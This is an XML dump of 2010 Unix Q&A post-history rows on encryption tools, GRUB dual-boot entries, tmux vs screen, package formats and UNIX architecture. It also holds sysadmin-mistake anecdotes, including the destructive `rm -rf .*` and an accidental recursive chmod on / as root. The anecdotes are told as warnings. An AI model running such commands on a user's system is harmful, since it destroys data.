  <row Id="1575" PostHistoryTypeId="2" PostId="849" RevisionGUID="888f836e-90d2-4331-9225-a89cd935c324" CreationDate="2010-08-20T00:28:41.300" UserId="228" Text="There are a number of options.&#xD;&#xA;&#xD;&#xA;Distributions like OpenSUSE/SLES offer the option to encrypt one or more partitions at installation time.&#xD;&#xA;&#xD;&#xA;Most of the time this is not an option as chances are, you do not want to reinstall your operating system.&#xD;&#xA;&#xD;&#xA;I use the &quot;encfs&quot; file system, this should work on both Linux, MacOS and FreeBSD as encfs is built on top of FUSE (http://fuse.sourceforge.net/):&#xD;&#xA;&#xD;&#xA;http://www.arg0.net/encfs&#xD;&#xA;&#xD;&#xA;The idea is that you can designate certain directories as encrypted directories, and those would require you to enter a password at mount time to access them." />
  <row Id="1576" PostHistoryTypeId="2" PostId="850" RevisionGUID="ef062851-6739-47b8-abd0-db71a88d508c" CreationDate="2010-08-20T00:29:30.113" UserId="305" Text="There are basicly 2 'standard' tools for partions:&#xD;&#xA;&#xD;&#xA; - Truecrypt - cross-platform, open, plausible deniability but will not use hardware AES&#xD;&#xA; - dm-crypt - Linux-specific, uses Linux Crypto API (take advantages of any crypto hardware acceleration Linux supports) and device-mapper. &#xD;&#xA; - (cryptoloop - dm-crypt precedessor)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1577" PostHistoryTypeId="2" PostId="851" RevisionGUID="6d891316-c8d5-4650-8949-5e77a47496c5" CreationDate="2010-08-20T00:30:13.683" UserId="228" Text="I posted some suggestions for books here:&#xD;&#xA;&#xD;&#xA;http://unix.stackexchange.com/questions/80/recommended-readings-for-better-understating-of-unix-linux-internals/214#214&#xD;&#xA;&#xD;&#xA;As for developing on Linux with .NET, I strongly recommend that you install the MonoDevelop IDE (http://www.monodevelop.com).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1578" PostHistoryTypeId="5" PostId="761" RevisionGUID="577a99cb-48fe-4b3d-b97d-64920e22e055" CreationDate="2010-08-20T00:34:47.480" UserId="136" Comment="deleted 3 characters in body" Text="vi and CAPS-LOCK vs. /etc/passwd&#xD;&#xA;&#xD;&#xA;0. Connect to an old Solaris box using and old serial terminal which doesn't refhresh the screen correctly.&#xD;&#xA;1. `su -`&#xD;&#xA;1. `vi /etc/passwd`. There is no `vipw`, and &quot;we're just making minor edits&quot; anyways.&#xD;&#xA;2. Hit CAPS-LOCK key and don't notice.&#xD;&#xA;3. Hit 'j' a couple times to scroll down. Ignore the fact that you actually just typed `J` (&quot;Join&quot;), which combines this line with the next line. The serial terminal screen was not refreshing correctly, so you didn't see that you just combined the first 5 lines into one Loooooong line, thereby corrupting the first 5 users ('root', 'daemon', etc).&#xD;&#xA;4. Finish your OTHER intended edits to the file, way down at the bottom.&#xD;&#xA;4. Save file.&#xD;&#xA;5. Log out.&#xD;&#xA;&#xD;&#xA;I did this once.  Amazingly, the system remained functional for months. Cronjobs ran fine, no errors stood out in the logfiles.&#xD;&#xA;&#xD;&#xA;We didn't notice this problem until we rebooted the system months later and couldn't log in at the console. `ps` showed a bunch of jobs owned by UID '0' not by user 'root'.&#xD;&#xA;&#xD;&#xA;You could not log in as root, nor run `su` or `su -`, and there was no `sudo` on this box. There was no floppy drive, the CD-ROM was busted and no USB ports (so no external CD-ROM). Single user mode did not work, because you need to type in the password for root, and that comes from /etc/passwd ." />
  <row Id="1579" PostHistoryTypeId="2" PostId="852" RevisionGUID="c3c8b11f-c29f-4307-a4d9-d6bcdb56a4c1" CreationDate="2010-08-20T00:35:16.747" UserDisplayName="Anonymous" Text="On my system (Debian Lenny AMD64), `gnome-panel` seems to act up now and again. I've not found a way to force it to happen, but it seems related to launching processes. Basically, I launch some process, and I see 1 core max itself out, and the taskbar freezes. I `pkill gnome-panel`, the taskbar reappears, and everything is ok. If I don't notice it, eventually my entire computer freezes and I have to hard boot.&#xD;&#xA;&#xD;&#xA;If you're familiar with this, great; but if not, how would I go about getting some kind of information on why this is happening that could help me or developers? Is there a debug build or something I could run?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="1580" PostHistoryTypeId="1" PostId="852" RevisionGUID="c3c8b11f-c29f-4307-a4d9-d6bcdb56a4c1" CreationDate="2010-08-20T00:35:16.747" UserDisplayName="Anonymous" Text="Killing gnome-panel often; how can I figure out why, or help someone else figure out why?" />
  <row Id="1581" PostHistoryTypeId="3" PostId="852" RevisionGUID="c3c8b11f-c29f-4307-a4d9-d6bcdb56a4c1" CreationDate="2010-08-20T00:35:16.747" UserDisplayName="Anonymous" Text="égnomeàédebuggingà" />
  <row Id="1582" PostHistoryTypeId="2" PostId="853" RevisionGUID="57d1d6f6-379c-4505-b1ed-7c2927eb8741" CreationDate="2010-08-20T00:39:08.113" UserId="136" Text="If you use the &quot;env&quot; command to display the variables, they should show up roughly in the order in which they were created.  You can use this as a guide to if they were set by the system very early in the boot, or by a later .profile or other configuration file.  In my experience, the &quot;set&quot; and &quot;export&quot; commands will sort their variables by alphabetical order, so that listing isn't as useful." />
  <row Id="1583" PostHistoryTypeId="2" PostId="854" RevisionGUID="ae01208e-af8f-41e5-8198-a6f4fb97fe62" CreationDate="2010-08-20T00:58:30.617" UserId="804" Text="Surprised nobody else has mentioned this one yet:&#xD;&#xA;&#xD;&#xA;    rm -rf .*&#xD;&#xA;&#xD;&#xA;(While attempting to remove all hidden files and subdirectories, completely forgetting that it will recurse into . and ..)" />
  <row Id="1584" PostHistoryTypeId="16" PostId="854" RevisionGUID="ae01208e-af8f-41e5-8198-a6f4fb97fe62" CreationDate="2010-08-20T00:58:30.617" UserId="-1" />
  <row Id="1585" PostHistoryTypeId="5" PostId="847" RevisionGUID="9934ea39-d1ea-4297-a383-05142fc9ed60" CreationDate="2010-08-20T00:58:30.693" UserId="786" Comment="added 68 characters in body" Text="Save this as a script, say `installed_packages_list.sh`:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    dpkg -l &gt; ~/Dropbox/installed_packages&#xD;&#xA;&#xD;&#xA;Make it executable. &#xD;&#xA;&#xD;&#xA;    chmod u+x installed_packages_list.sh&#xD;&#xA;&#xD;&#xA;Then run &#xD;&#xA;&#xD;&#xA;    crontab -e&#xD;&#xA;&#xD;&#xA;This will open up a file in a text editor. Type this and save&#xD;&#xA;    &#xD;&#xA;    @weekly /full/path/to/script&#xD;&#xA;&#xD;&#xA;The script will be executed once a week, with privileges of the user who scheduled the cron job. &#xD;&#xA;" />
  <row Id="1586" PostHistoryTypeId="2" PostId="855" RevisionGUID="c6adb7ac-6175-40d2-beb0-bb994278fd22" CreationDate="2010-08-20T01:13:31.227" UserId="141" Text="I meant well, I really did. trying to chmod recursively a directory and ended up swapping ./ with /.&#xD;&#xA;&#xD;&#xA;as root of course, because only with root can true pain (and thus enlightenment) be achieved.&#xD;&#xA;" />
  <row Id="1587" PostHistoryTypeId="16" PostId="855" RevisionGUID="c6adb7ac-6175-40d2-beb0-bb994278fd22" CreationDate="2010-08-20T01:13:31.227" UserId="-1" />
  <row Id="1588" PostHistoryTypeId="2" PostId="856" RevisionGUID="e2bc3cb7-520e-47cf-94db-f7bf280ead74" CreationDate="2010-08-20T01:42:04.590" UserId="728" Text="A UNIX system consists of several parts, or layers as I'd like to call them.&#xD;&#xA;&#xD;&#xA;To start a system, a program called the boot loader lives at the first sector of a hard disk partition. It is started by the system, and in turn it locates the Operating System kernel, and load it.&#xD;&#xA;&#xD;&#xA;**Layering**&#xD;&#xA;&#xD;&#xA;1. The Kernel. This is the central program which is started by the boot loader. It does the basic hardware interaction for the system (disk, memory, video, sound) and offers a virtual environment in which it can start programs. The kernel also ships all drivers which deal with all the little differences between hardware devices. To the outside world (the higher layers), each class of devices appear to behave exactly in the same consistent way - which in turn, the programs can build upon.&#xD;&#xA;&#xD;&#xA;2. Background subsystems. There are just regular programs, which just stay out of your way. They handle things like remote login, provide a cental message bus, and do actions based on hardware/network events. For example, bluetooth discovery, wifi management, etc.. Any network services (file server, print server, web server) also live at this level. In UNIX systems, these are all just normal programs.&#xD;&#xA;&#xD;&#xA;3. The command line tools. These are all little programs which can be started to do things like text editing, downloading files, or administrating the system. At this point, a UNIX system is fully usable for system adminstrators. In Windows, this layer didn't not really exist anymore.&#xD;&#xA;&#xD;&#xA;4. The graphical user interface. These are also just programs, the only difference is they draw windows at the screen instead of writing text. This makes the system easier to use for regular users.&#xD;&#xA;&#xD;&#xA;Any service or event will go from the bottom all up to the top.&#xD;&#xA;&#xD;&#xA;**Libraries - the common platform**&#xD;&#xA;&#xD;&#xA;Programs do a lot of common things like displaying a window, drawing stuff at the screen or downloading a file. These things are the same for multiple programs, hence that code are put in separate &quot;library&quot; files (`.so` files - meaning shared object). The library can be shared across all programs.&#xD;&#xA;&#xD;&#xA;For every imaginable thing, there is a library. There is one for reading/writing PNG files. There is one for JPEG files, for reading XML, for encryption, for video playback, and so on.&#xD;&#xA;&#xD;&#xA;On Linux, the common libraries for application developers are Qt and Gtk. These libraries use lower-level libraries internally for their specific needs, while exposing their functionality in a nice consistent and concise way for application developers to create applications even faster.&#xD;&#xA;&#xD;&#xA;Libraries provide the application platform, on which programmers can build end user applications for an Operating System. The more high quality libraries a system provides, the fewer code a programmer has to write to make a beautiful program.&#xD;&#xA;&#xD;&#xA;Some libraries can be used across different operating systems (for instance, Qt is), some are really specifically tied into one operating system. This will restrict your program to be able to run at that platform only.&#xD;&#xA;&#xD;&#xA;**Inter process communication**&#xD;&#xA;&#xD;&#xA;A third corner piece of an operating system, is the way programs can communicate with each other. These are Inter Process Communication (IPC) machanisms. These exist in several flavors, e.g. a piece of shared memory, or a small channel is set up between two programs to exchange data. There is also a central message bus on which each program can post a message, and receive a response. This is used for global communication, where it's unknown which program can respond.&#xD;&#xA;&#xD;&#xA;**From libraries to Operating Systems**&#xD;&#xA;&#xD;&#xA;With libraries, IPC and the kernel in place, programmers can build all kinds of applications for system services, user administration, configuration, administration, office work, entertainment, etc.. This forms the complete suite which novice users recognize as the &quot;operating system&quot;.&#xD;&#xA;&#xD;&#xA;In UNIX/Linux systems, all services are just programs. All system admin tools are just programs. They all do their job, and they can be chained together. I've summarized a lot of major programs at http://codingdomain.com/linux/sysadmin/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;**Distinguishable parts with Windows**&#xD;&#xA;&#xD;&#xA;UNIX is mainly a system of programs, files and restricted permissions. A lot of complexities are avoided, making it a powerful system while it looks like it has an easy job doing it.&#xD;&#xA;&#xD;&#xA;In detail, these are principles which can be found across UNIX/Linux systems:&#xD;&#xA;&#xD;&#xA; * There are uniform ways to access information. (&quot;Everything is just a file&quot;). You can open a file, network socket, IPC channel, kernel parameters and block device as a file. Hence the appearance of the virtual filesystems in /dev, /sys and /proc. The only API you ever need is `open`, `read` and `close`. &#xD;&#xA;&#xD;&#xA; * The underlying system is transparent. Every program operates under the same rules. Unlike Windows, there is no artificial difference between a &quot;console program&quot;, &quot;gui program&quot; or &quot;background service&quot;. They are all just programs, that happen to do different things. They can also all be observed, analyzed and debugged in the same way.&#xD;&#xA;&#xD;&#xA; * Settings are readable, editable, and can be annotated with comments. They typically have an INI-style format, but may use a custom format for the needs of that application. Because they are just files, they can be copied to other systems, archived or being backuped with standard tools.&#xD;&#xA;&#xD;&#xA; * No large &quot;do it all in once&quot; applications. The mantra is &quot;do one thing, do it well&quot;. Command line tools can be chained and together be powerful. Separate services (e.g. SMTP, IMAP and POP, and login) are separate subprograms, avoiding complex intertwined code and security issues. Complex desktop environments delegate hard work to individual programs.&#xD;&#xA;&#xD;&#xA; * `fork()`. New programs are started by an existing program cloning itself. The clone sets up everything (e.g. file handles), and optionally replaces itself with the new program code. This makes it really easy to apply the same security settings and restrictions to new programs, share memory or setup an IPC mechanism. The cost of starting a process is also very low.&#xD;&#xA;&#xD;&#xA; * The file system is one tree, in which other disk partitions and network shares can be mounted. There is again, an universal way of accessing data. Common system locations (e.g. `/usr` can easily be mounted as network share.&#xD;&#xA;&#xD;&#xA; * The system is built for low user privileges. After login, every user (except root) is confined their own resources, running applications and files only. Network services reduce their privileges as soon as possible. There is a single clear way to get more privileges, or ask someone to execute a privileged job on their behalf. Every other call is limited by the restrictions and limitations of the program.&#xD;&#xA;&#xD;&#xA; * Every program stores settings in a hidden file/folder of the user home directory. No program ever attempts to write a global setting file.&#xD;&#xA;&#xD;&#xA; * A favor towards openly described communication mechanisms over secret mechanisms or specific 1-to-1 mechanisms. Other vendors and software developers are encouraged to follow the same specification, so things can easily be connected, swapped out and yet stay loosely coupled." />
  <row Id="1589" PostHistoryTypeId="2" PostId="857" RevisionGUID="114e4aa3-318e-4392-9ea8-d041897d7e7a" CreationDate="2010-08-20T02:47:23.670" UserId="757" Text="One difference is in how the two act when multiple terminals are attached to a single session.&#xD;&#xA;&#xD;&#xA;With screen, each attached terminal's view is independent of the others. With tmux, all attached terminals see the same thing.&#xD;&#xA;&#xD;&#xA;Say you have two terminals attached to a single tmux session. If you type ^B 1 into one terminal, the other terminal also switches to window 1.&#xD;&#xA;&#xD;&#xA;When you have two terminals attached to a single screen session, and you type ^A 1 into one, this has no affect on the other terminal.&#xD;&#xA;&#xD;&#xA;This is based on my experience with tmux 1.2; I see 1.3 is out but I didn't notice anything in the changelog about this behavior changing." />
  <row Id="1590" PostHistoryTypeId="2" PostId="858" RevisionGUID="3fadd61b-92c9-402a-98cd-5cc122306a57" CreationDate="2010-08-20T02:48:18.003" UserId="146" Text="The OpenSolaris package repository includes an administration GUI called [Visual Panels][1] you can install by running `pkg install OSOLvpanels` and then it will appear under the System-&gt;Administration menu in GNOME as &quot;Services&quot; or you can start it with the command `vp svcs`.&#xD;&#xA;&#xD;&#xA;  [1]: http://hub.opensolaris.org/bin/view/Project+vpanels/ &quot;Visual Panels OpenSolaris Project&quot;" />
  <row Id="1591" PostHistoryTypeId="2" PostId="859" RevisionGUID="5a3c1502-6497-47ee-a045-ea751eed9573" CreationDate="2010-08-20T03:24:54.903" UserId="392" Text="I have Ubuntu 10.04 installed as my primary operating system, and I installed PC BSD in a different partition: /dev/sda4 without installing it's boot loader. I figured out that I need to edit /etc/grub.d/40_custom to add an entry for PC-BSD. So far, nothing seems to work, though.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1592" PostHistoryTypeId="1" PostId="859" RevisionGUID="5a3c1502-6497-47ee-a045-ea751eed9573" CreationDate="2010-08-20T03:24:54.903" UserId="392" Text="How do I add PC BSD / FreeBSD to Grub 2 boot loader?" />
  <row Id="1593" PostHistoryTypeId="3" PostId="859" RevisionGUID="5a3c1502-6497-47ee-a045-ea751eed9573" CreationDate="2010-08-20T03:24:54.903" UserId="392" Text="éfreebsdàébootàédualöbootà" />
  <row Id="1594" PostHistoryTypeId="5" PostId="859" RevisionGUID="12284cce-3242-4c51-81c9-762fd601361a" CreationDate="2010-08-20T03:32:23.997" UserId="392" Comment="added 231 characters in body" Text="I have Ubuntu 10.04 installed as my primary operating system, and I installed PC BSD in a different partition: /dev/sda4 without installing it's boot loader. I figured out that I need to edit /etc/grub.d/40_custom to add an entry for PC-BSD. So far, nothing seems to work, though.&#xD;&#xA;&#xD;&#xA;EDIT: this sort of works, but doesn't fully boot the OS, it then asks me for the MOUNTROOT partition.&#xD;&#xA;&#xD;&#xA;    menuentry &quot;PC-BSD 8.1&quot; {&#xD;&#xA;        insmod ufs2&#xD;&#xA;        set root=(hd0,4)&#xD;&#xA;        kfreebsd /boot/kernel/kernel&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1595" PostHistoryTypeId="5" PostId="850" RevisionGUID="f73fc0c2-67ea-4442-b0a5-57ca5f701c98" CreationDate="2010-08-20T03:46:51.980" UserId="138" Comment="Removed &quot;will not use hardware AES&quot;; split cryptoloop into separate para" Text="There are basicly 2 'standard' tools for partions:&#xD;&#xA;&#xD;&#xA; - TrueCrypt - cross-platform, open, plausible deniability&#xD;&#xA; - dm-crypt - Linux-specific, uses Linux Crypto API, can take advantages of any crypto hardware acceleration Linux supports, and device-mapper. &#xD;&#xA;&#xD;&#xA;There's also cryptoloop, dm-crypt's predecessor&#xD;&#xA;" />
  <row Id="1596" PostHistoryTypeId="5" PostId="761" RevisionGUID="f704cd79-3577-4510-b77d-000922e6823f" CreationDate="2010-08-20T04:02:03.007" UserId="4" Comment="deleted 1 characters in body" Text="vi and CAPS-LOCK vs. /etc/passwd&#xD;&#xA;&#xD;&#xA;0. Connect to an old Solaris box using and old serial terminal which doesn't refresh the screen correctly.&#xD;&#xA;1. `su -`&#xD;&#xA;1. `vi /etc/passwd`. There is no `vipw`, and &quot;we're just making minor edits&quot; anyways.&#xD;&#xA;2. Hit CAPS-LOCK key and don't notice.&#xD;&#xA;3. Hit 'j' a couple times to scroll down. Ignore the fact that you actually just typed `J` (&quot;Join&quot;), which combines this line with the next line. The serial terminal screen was not refreshing correctly, so you didn't see that you just combined the first 5 lines into one Loooooong line, thereby corrupting the first 5 users ('root', 'daemon', etc).&#xD;&#xA;4. Finish your OTHER intended edits to the file, way down at the bottom.&#xD;&#xA;4. Save file.&#xD;&#xA;5. Log out.&#xD;&#xA;&#xD;&#xA;I did this once.  Amazingly, the system remained functional for months. Cronjobs ran fine, no errors stood out in the logfiles.&#xD;&#xA;&#xD;&#xA;We didn't notice this problem until we rebooted the system months later and couldn't log in at the console. `ps` showed a bunch of jobs owned by UID '0' not by user 'root'.&#xD;&#xA;&#xD;&#xA;You could not log in as root, nor run `su` or `su -`, and there was no `sudo` on this box. There was no floppy drive, the CD-ROM was busted and no USB ports (so no external CD-ROM). Single user mode did not work, because you need to type in the password for root, and that comes from /etc/passwd ." />
  <row Id="1597" PostHistoryTypeId="5" PostId="726" RevisionGUID="e75bf884-7b56-4db2-85a2-6044a6dfa8c6" CreationDate="2010-08-20T04:04:49.350" UserId="138" Comment="clarity" Text="I did the same, years ago.  Off the top of my head, then:&#xD;&#xA;&#xD;&#xA; * Your average desktop Linux has a richer userland than that of any other *ix I've used.  You'll probably miss different tools than I did, so no sense getting specific about recommendations for replacements.  Instead, just install &lt;a href=&quot;http://finkproject.org/&quot;&gt;Fink&lt;/a&gt; or [MacPorts](http://www.macports.org/) first thing.  Fink provides a Debian-like APT based software repository for OS X.  Not everything you might want is available through Fink, but a whole lot is.  Recently [MacPorts](http://www.macports.org/) has come along taking more of a *BSD Ports aproach.&#xD;&#xA;&#xD;&#xA; * Under Snow Leopard, the default compiler began building 64-bit binaries by default, instead of 32-bit.  This can cause problems in several ways: maybe you have old 32-bit libraries you can't rebuild but have to link to, maybe you're still running your system in 32-bit mode, etc.  One way to force a 32-bit build is to specify `gcc-4.0` instead of `gcc`, since `gcc` is linked to the newer 64-bit `gcc-4.2`.  `gcc-4.0` is the old 32-bits-by-default Leopard compiler.  Another way is to try to remember to add `-m32` to all your CFLAGS, CXXFLAGS, LDFLAGS...&#xD;&#xA;&#xD;&#xA; * Dynamic linkage is vastly different.  If you're the sort to write your `ld` commands by hand, it's time to break that habit.  You should instead be linking programs and libraries through the compiler, or using an intermediary like `libtool`.  These take care of the niggly platform-specific link scheme differences, so you can save the brain power for learning programs you can't abstract away with portable mechanisms, such as the OS-X-specific `otool`.&#xD;&#xA;&#xD;&#xA; * OS X handles the CPU compatibility issue differently than Linux.  On a 64-bit Linux where you have to also support 32-bit for whatever reason, you end up with two copies of things like libraries that need to be in both formats.  OS X solves this problem differently, with the Universal binary concept, which lets you put multiple binaries into a single file.  You can currently have up to 4 CPU types supported by a single executable: 32- and 64-bit PowerPC, plus 32- and 64-bit Intel.  It's easy to build Universal binaries with Xcode, but a bit of a pain with command line tools.  You probably can't avoid learning how to do this during this present transition to 64-bit computing, however.&#xD;&#xA;&#xD;&#xA; * If you install any libraries through [MacPorts](http://www.macports.org/), they are installed under `/opt` instead of `/usr` or `/usr/local`.  Add this to your `.profile`/`.bashrc`.&#xD;&#xA;&#xD;&#xA;        # Tell your linker(dyld) where to find MacPorts-installed libs&#xD;&#xA;        export DYLD_LIBRARY_PATH=/opt/local/lib:$DYLD_LIBRARY_PATH&#xD;&#xA;&#xD;&#xA;        # Add /opt to your gcc and g++ include paths&#xD;&#xA;        export C_INCLUDE_PATH=/opt/local/include:$C_INCLUDE_PATH&#xD;&#xA;        export CPLUS_INCLUDE_PATH=/opt/local/include:$CPLUS_INCLUDE_PATH&#xD;&#xA;&#xD;&#xA; * If you're running &lt; OSX 10.6 you need to track down the apropriate version of Xcode at [Apple Developer Connection](http://developer.apple.com/)." />
  <row Id="1598" PostHistoryTypeId="6" PostId="723" RevisionGUID="79aa6532-66ab-40dc-a394-ca482bc83031" CreationDate="2010-08-20T04:26:36.877" UserId="85" Comment="removed fedora and ubuntu tags" Text="élinuxàéosxà" />
  <row Id="1601" PostHistoryTypeId="2" PostId="861" RevisionGUID="e8b67f7f-ab82-4afb-a4be-538c0f1805fb" CreationDate="2010-08-20T06:16:48.750" UserId="841" Text="System calls are usually wrapped in the SYSCALL_DEFINEx() macro, which is why a simple grep doesn't find them:&#xD;&#xA;&#xD;&#xA;fs/namei.c:SYSCALL_DEFINE2(mkdir, const char __user *, pathname, int, mode)&#xD;&#xA;&#xD;&#xA;The final function name after the macro is expanded ends up being &quot;sys_mkdir&quot;.  The SYSCALL_DEFINEx() macro adds boilerplate like tracing code that each syscall definition needs to have." />
  <row Id="1602" PostHistoryTypeId="2" PostId="862" RevisionGUID="201eb15a-f3a4-4029-8eb4-5fe3602f116b" CreationDate="2010-08-20T06:40:28.740" UserId="659" Text="You could try taking a look at the **~/.xsession-errors** file. If you're lucky you might find some failed assertion or error in there.&#xD;&#xA;&#xD;&#xA;You could also install the gnome-panel-dbg package and attach  gdb the running panel to get a backtrace in case of crash (more information [here][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mail-archive.com/gnome-bugsquad@gnome.org/msg00093.html" />
  <row Id="1603" PostHistoryTypeId="5" PostId="701" RevisionGUID="d6ea827e-c0db-44d9-bd45-3721e5a98561" CreationDate="2010-08-20T06:51:07.297" UserId="272" Comment="added 185 characters in body" Text="Main difference for a package maintainer (I think that would be 'developer' in Debian lingo) is the way package meta-data and accompanying scripts come together.&#xD;&#xA;&#xD;&#xA;In the RPM world, all your packages (the RPM's you maintain) are located in something like ~/rpmbuild. Underneath, there is the SPEC directory for you spec-files, a SOURCES directory for source tarballs, RPMS and SRPMS directories to put newly created RPMs and SRPMs into and some other things that are not relevant now.&#xD;&#xA;&#xD;&#xA;*Everything* that has to do with how the RPM will be created, is in the spec-file: what patches will be applied, possible pre and post-scripts, meta-data, changelog, everything. All source tarballs and all patches of *all your packages* are in SOURCES.&#xD;&#xA;&#xD;&#xA;Now, personally, I like the fact that everything goes into the spec-file, and that the spec-file is a separate entity from the source tarball, but I'm not overly enthusiastic about having *all* sources in SOURCES. Imho, SOURCES gets cluttered pretty quick and you tend to loose track of what is in there. However, opinions differ.&#xD;&#xA;&#xD;&#xA;For RPM's it is important to use the *exact* same tarball as the one the upstream project releases, up to the timestamp. Generally, there are no exceptions to this rule. Debian packages also require the same tarball as upstream, though Debian policy requires some tarballs to be repackaged (thanks Umang).&#xD;&#xA;&#xD;&#xA;Debian packages take a different approach. (Forgive any mistakes here: I am a lot less experienced with deb's that I am with RPM's.) Debian packages' development files are contained in a directory per package.&#xD;&#xA;&#xD;&#xA;What I (think to) like about this approach is the fact that everything is contained in a single directory.&#xD;&#xA;&#xD;&#xA;In the Debian world, it is a bit more accepted to carry patches in a package that are not (yet) upstream. In the RPM world (at least among the Red Hat derivates) this is frowned upon. &#xD;&#xA;&#xD;&#xA;Also, Debian has a vast amount of scripts that are able to automate a huge portion of creating a package. For example, creating a - simple - package of a setuptool'ed Python program, is as simple as creating a couple of meta-data files and running debuild. That said, the spec-file for such package in RPM format would be pretty short and in the RPM world, too, there's a lot of stuff that is automated these days." />
  <row Id="1604" PostHistoryTypeId="2" PostId="863" RevisionGUID="e41198d6-ebcf-4dcf-921f-14e836c0ba70" CreationDate="2010-08-20T07:22:36.113" UserId="850" Text="There is also the &quot;philosophical&quot; difference where in Debian packages you can ask questions and by this, block the installation process.&#xD;&#xA;The bad side of this is that some packages will block your upgrades until you reply. The good side of this is, also as a philosophical difference, on Debian based systems, when a package is installed, it is configured (not always as you'd like) and running. Not on Redhat based systems where you need to create/copy from /usr/share/doc/* a default/template configuration file.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1605" PostHistoryTypeId="5" PostId="862" RevisionGUID="8176796e-0e3b-4626-8ecd-bc021a4de417" CreationDate="2010-08-20T07:31:01.333" UserId="659" Comment="added 3 characters in body" Text="You could try taking a look at the **~/.xsession-errors** file. If you're lucky you might find some failed assertion or error in there.&#xD;&#xA;&#xD;&#xA;You could also install the gnome-panel-dbg package and attach  gdb to the running panel to get a backtrace in case of crash (more information [here][1]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mail-archive.com/gnome-bugsquad@gnome.org/msg00093.html" />
  <row Id="1606" PostHistoryTypeId="2" PostId="864" RevisionGUID="b4338a75-8019-44d7-b302-43ed57b9df98" CreationDate="2010-08-20T08:03:16.577" UserId="461" Text="If you want to develop for Linux, you might want to learn first about the different choices you have. But if you're going the Python way, then things may be simpler. I really like the Python + GTK + GNOME stack. There are incredible tools which make development very easy.&#xD;&#xA;&#xD;&#xA;Since you're a .Net developer, you might feel more comfortable with Java and forget pretty much about the underlying technologies: do I use Qt or GTK?&#xD;&#xA;&#xD;&#xA;Mono will make you feel like at home, but know that not many like to have Mono on their computers. There are good discussions about this on the Internet (i.e. gnote vs tomboy)" />
  <row Id="1607" PostHistoryTypeId="2" PostId="865" RevisionGUID="e78b3973-23fd-488a-8d4e-b903433afd72" CreationDate="2010-08-20T08:37:18.913" UserId="690" Text="For saving display space on a netbook, you may want to take a look at a **tiling window manager**, such as [wmii][1]. On my notebook, a venerable Thinkpad R50e, wmii proves *very* helpful.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wmii.suckless.org/" />
  <row Id="1608" PostHistoryTypeId="2" PostId="866" RevisionGUID="341afe98-ffd6-41ea-8d06-b1ca4d1183be" CreationDate="2010-08-20T08:53:00.310" UserId="659" Text="Mandatory [The Art Of Unix Programming][1] link here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://catb.org/esr/writings/taoup/html/" />
  <row Id="1609" PostHistoryTypeId="2" PostId="867" RevisionGUID="835146e6-cd60-43da-a11f-a9418469d746" CreationDate="2010-08-20T09:04:34.993" UserId="380" Text="I have a directory of text files under bazaar version control and keep a copy (a branch, actually) on each of my machines. I want to encrypt and unencrypt the directory via the command line.&#xD;&#xA;&#xD;&#xA;Ideally, I would also be able to have a script run at logout to check if the directory is encrypted and encrypt it if not, all without user intervention. I do not, however, want the dir to be decrypted on login. (I want the script as a guard against forgetting to encrypt manually. This is especially important for the netbook.)&#xD;&#xA;&#xD;&#xA;I'm running ubuntu 10.04.1 and two versions of crunchbang linux, one a derivative of ubuntu 9.04, the either of a late June snapshot of the Debian Squeeze repos.&#xD;&#xA;&#xD;&#xA;What is the best way to do this?&#xD;&#xA;&#xD;&#xA;(I tried to tag with `encryption` and `directories`, but lack the rep to create a tag.)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="1610" PostHistoryTypeId="1" PostId="867" RevisionGUID="835146e6-cd60-43da-a11f-a9418469d746" CreationDate="2010-08-20T09:04:34.993" UserId="380" Text="How to best encrypt and decrypt a directory via the command line or script?" />
  <row Id="1611" PostHistoryTypeId="3" PostId="867" RevisionGUID="835146e6-cd60-43da-a11f-a9418469d746" CreationDate="2010-08-20T09:04:34.993" UserId="380" Text="écommandölineàésecurityà" />
  <row Id="1612" PostHistoryTypeId="2" PostId="868" RevisionGUID="44a98d73-ab75-44ef-bb05-34cb90ed2a90" CreationDate="2010-08-20T09:24:30.833" UserId="690" Text="How about using [gpgdir][1]? This should be scriptable for login and logout. You can also select subdirectories which are supposed to be encrypted (you may want file such as `.bash_rc` to remain decrypted, for example).&#xD;&#xA;&#xD;&#xA;Another alternative may be Truecrypt (missing rep. does not allow a link): You can create a *container* for your data and encrypt/decrypt it via shell scripts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cipherdyne.org/gpgdir/" />
  <row Id="1613" PostHistoryTypeId="2" PostId="869" RevisionGUID="142fdcb0-2eec-48b5-8fb3-198276316450" CreationDate="2010-08-20T09:27:55.170" UserId="250" Text="Hi postfuturist, this is what I have in `/etc/grub.d/40_custom`. Works for me :) Just remember to subsitude `hd0,3` with your correct entry&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    menuentry 'FreeBSD 8.0 64bit' --class os {&#xD;&#xA;        set root='(hd0,3)'&#xD;&#xA;        chainloader +1&#xD;&#xA;    }&#xD;&#xA;" />
